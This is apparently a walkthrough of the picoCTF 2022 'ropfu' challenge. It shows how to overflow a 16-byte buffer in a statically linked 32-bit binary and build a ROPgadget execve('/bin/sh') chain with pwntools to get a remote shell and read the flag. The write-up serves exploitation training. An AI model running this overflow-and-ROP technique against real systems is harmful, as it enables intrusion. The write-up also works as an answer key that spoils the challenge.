ropfu picoCTF 2022 Solution

Published: July 20, 2023

Description

No win() function this time. The binary is a small, statically-linked 32-bit ELF with a 16-byte buffer you can overflow. Because there is no helper function that prints the flag, you build a Return-Oriented Programming (ROP) chain from gadgets already present in the binary to call execve("/bin/sh", NULL, NULL) and spawn a shell.

ROP chains work by chaining small code snippets ('gadgets') ending in ret, each setting up registers, ultimately executing a syscall. Because the binary is statically linked, every libc gadget you need is already inside it, so ROPgadget can assemble the whole execve chain automatically.

Download the binary. Confirm it is a statically-linked 32-bit ELF and check mitigations with checksec.

Install ROPgadget: pip install ropgadget.

Let ROPgadget build the execve chain, then prepend the overflow padding.

bash
wget https://artifacts.picoctf.net/c/327/vuln && chmod +x vuln
bash
file vuln   # ELF 32-bit LSB executable, statically linked
bash
checksec --file=vuln
bash
ROPgadget --binary vuln --ropchain

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it

For the underlying mechanics of stitching gadgets together when there's no libc to lean on, see the ROP Chain Without libc guide. For pwntools idioms used in the script below (ELF, p32, remote), see Pwntools for CTF.

  1. Step 1
    Let ROPgadget build the execve chain
    Observation
    I noticed the binary is statically linked with NX enabled and has no win() helper, which meant shellcode injection was off the table but every libc gadget was already baked into the ELF at fixed addresses, suggesting ROPgadget's --ropchain flag could automatically assemble a complete execve("/bin/sh") chain without any info-leak.
    Because vuln is statically linked, ROPgadget can find a writable data address for the "/bin/sh" string plus all the pop/mov gadgets to set up the registers, and it will print a complete chain for you. Run it with --ropchain and it builds an execve("/bin/sh", NULL, NULL) chain automatically.
    bash
    ROPgadget --binary vuln --ropchain
    bash
    # Inspect what it built: it loads a writable address, writes '/bin/sh' there,
    bash
    # zeroes ecx/edx, puts 11 (sys_execve) in eax, then int 0x80.
    bash
    ROPgadget --binary vuln | grep -E 'int 0x80|pop eax|pop ebx|pop ecx|pop edx'

    The generated chain ends in the 32-bit Linux execve syscall: the kernel reads eax = 11 (sys_execve), ebx pointing at the string "/bin/sh", and ecx = edx = 0, then runs int 0x80. ROPgadget plants the /bin/sh string into a writable section itself, so no info-leak is required.

    What didn't work first

    Tried: Running ROPgadget without --ropchain and manually assembling a gadget list for execve.

    Without --ropchain, ROPgadget just lists gadgets but does not solve the chain - you still need to find a writable address, write '/bin/sh' byte-by-byte via mov gadgets, zero ecx and edx, set eax to 11, and align everything. The --ropchain flag automates all of this and emits working Python code directly.

    Tried: Using the same ROPgadget --ropchain output against a dynamically-linked binary.

    On a dynamically-linked binary, libc gadgets are at ASLR-randomized addresses at runtime, so the static addresses ROPgadget finds are wrong every run. This binary is statically linked, meaning all gadgets are at fixed addresses baked into the ELF - that is why --ropchain works here without any info-leak.

    Learn more

    A ROP gadget is a short sequence of instructions ending with a ret (return). By overwriting the stack with a sequence of gadget addresses (each followed by its arguments), you chain the gadgets: ret pops the next address off the stack into EIP, executing the next gadget.

    For a 32-bit Linux execve("/bin/sh", NULL, NULL) via int 0x80 you need:

    • eax = 11 (syscall number for execve)
    • ebx = pointer to the string "/bin/sh"
    • ecx = 0 (argv = NULL)
    • edx = 0 (envp = NULL)
    • int 0x80 to trigger the syscall

    NX (No-eXecute) prevents injecting and running shellcode, but it cannot stop ROP because ROP reuses existing executable code. A statically-linked binary is the easiest possible ROP target: every libc gadget is already mapped, so ROPgadget's --ropchain can fully automate the build.

  2. Step 2
    Derive the overflow offset to EIP
    Observation
    I noticed the vulnerable buffer is only 16 bytes but the saved return address sits beyond it (buffer plus saved EBP on 32-bit), which meant the exact offset needed to be measured rather than guessed, and sending a De Bruijn cyclic pattern then reading the crashed EIP value would give the precise distance mechanically.
    Find how far past the buffer your input reaches the saved return address. Send a cyclic pattern, crash the binary, and feed the faulting EIP back into cyclic_find. The offset is small (the buffer is 16 bytes plus saved EBP), so expect a value in the high-20s; verify it on your copy rather than assuming.
    bash
    cyclic 64 > /tmp/pat
    python
    python3 -c "from pwn import *; p=process('./vuln'); p.sendline(cyclic(64)); p.wait()"
    bash
    # read the crashed EIP from the core dump or gdb, then:
    python
    python3 -c "from pwn import cyclic_find; print(cyclic_find(0x6161616c))"  # prints OFFSET

    Send a cyclic pattern so you do not have to guess. The bytes that land in EIP identify a unique slice of the De Bruijn sequence, and cyclic_find returns the exact distance:

    $ python3 -c "from pwn import *; p=process('./vuln'); p.sendline(cyclic(64)); p.wait()"
    $ gdb -q ./vuln core
    ... eip 0x6161616c ...
    $ python3 -c "from pwn import cyclic_find; print(cyclic_find(0x6161616c))"
    <OFFSET>

    Use that <OFFSET> as the padding length before the ROP chain.

    What didn't work first

    Tried: Guessing the offset as exactly 16 (the buffer size) and skipping the cyclic pattern step.

    The offset is buffer size plus the saved EBP (4 bytes on 32-bit), plus any alignment padding the compiler adds - so it is larger than 16. Guessing 16 will overwrite EBP but leave the return address intact, causing a clean crash instead of EIP control. The cyclic pattern removes the guesswork entirely.

    Tried: Using gdb's 'info registers' on a non-crashing run instead of sending a pattern and inspecting the core dump.

    Without sending input that overflows the buffer, the return address is never corrupted, so EIP shows the normal return target. You need to send the cyclic(64) payload, let the binary crash, then inspect the core dump (or run under gdb with 'run < /tmp/pat') to see what value landed in EIP at the moment of the fault.

    Learn more

    The vulnerable read is an unbounded gets()-style call into a 16-byte buffer. The padding to reach the saved return address is the buffer size plus the saved frame pointer (and any alignment), which is why the offset is a little larger than 16.

    cyclic / cyclic_find generates a De Bruijn sequence so every 4-byte window appears exactly once. That makes the crash self-identifying: the value sitting in EIP maps to one and only one offset.

  3. Step 3
    Prepend the padding and fire the chain
    Observation
    I noticed ROPgadget had already output a complete, self-contained Python execve chain as p32() values, and the cyclic_find step had given the exact OFFSET to the saved return address, so the only remaining action was to prepend that many 'A' bytes and send the combined payload to the remote service.
    Paste the chain ROPgadget generated (it defines a p helper and builds it into a variable), prepend OFFSET bytes of padding, and send it. The execve chain spawns /bin/sh; then read the flag with ls and cat.
    python
    python3 -c "
    from pwn import *
    
    OFFSET = <OFFSET>   # from cyclic_find above
    
    # --- paste the chain ROPgadget --ropchain printed here ---
    # It builds a byte string of p32(...) gadget addresses that ends in execve('/bin/sh').
    rop_chain = b''   # <-- replace with ROPgadget's generated chain bytes
    
    payload = b'A' * OFFSET + rop_chain
    
    p = remote('saturn.picoctf.net', <PORT_FROM_INSTANCE>)
    p.sendline(payload)
    p.interactive()   # then: ls ; cat flag.txt
    "

    Expected output

    picoCTF{ROP_1t_d0nt_st0p_...}
    What didn't work first

    Tried: Pasting the ROPgadget chain bytes directly without prepending the OFFSET padding bytes.

    Without the padding, your payload starts overwriting the buffer from the very first byte, so the chain addresses land somewhere inside the buffer rather than at the saved return address. The binary returns to whatever happened to be in EIP (original return target) and the chain never executes. The padding bridges from the start of the buffer to the exact location of the saved return address on the stack.

    Tried: Using p.sendline(payload) against localhost with process('./vuln') to test before targeting the remote, but seeing the shell close immediately.

    When running locally via process('./vuln'), the spawned /bin/sh has its stdin still connected to the pwntools pipe. After p.sendline() the pipe end-of-file closes, which causes sh to exit. Switching to p.interactive() before sending input, or using pwntools' context.newline handling, keeps the pipe open so you can type 'ls ; cat flag.txt' interactively.

    Learn more

    Because the chain calls execve("/bin/sh", NULL, NULL), you drop into an interactive shell instead of printing a single buffer. From there ls and cat flag.txt read the flag directly off the server (often as root on these picoCTF instances).

    If you prefer building the chain by hand, pwntools can do it too: rop = ROP(elf); rop.execve(b'/bin/sh', 0, 0) then rop.chain(). For a statically-linked binary both approaches work; --ropchain is just the fastest path because it also handles writing the /bin/sh string into memory.

Interactive tools
  • Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
  • pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.

Flag

Reveal flag

picoCTF{ROP_1t_d0nt_st0p_...}

Statically-linked 32-bit binary, no win(). Build a ROP chain for execve("/bin/sh", NULL, NULL) via int 0x80 (eax=11, ebx -> "/bin/sh", ecx=edx=0). ROPgadget --ropchain assembles it automatically; prepend the overflow padding and spawn a shell to read the flag.

Key takeaway

Return-Oriented Programming bypasses NX (non-executable stack) by chaining short instruction sequences ending in 'ret' that already exist in the binary, rather than injecting new shellcode. Statically linked binaries are especially rich ROP targets because the entire C library is mapped into a single address space, giving the attacker every gadget needed to build an arbitrary syscall. The same technique is the backbone of modern exploitation against binaries protected by NX/DEP, and automated tools like ROPgadget and pwntools ROP class make chain construction tractable even without hand-picking gadgets.

Related reading

Want more picoCTF 2022 writeups?

Tools used in this challenge

What to try next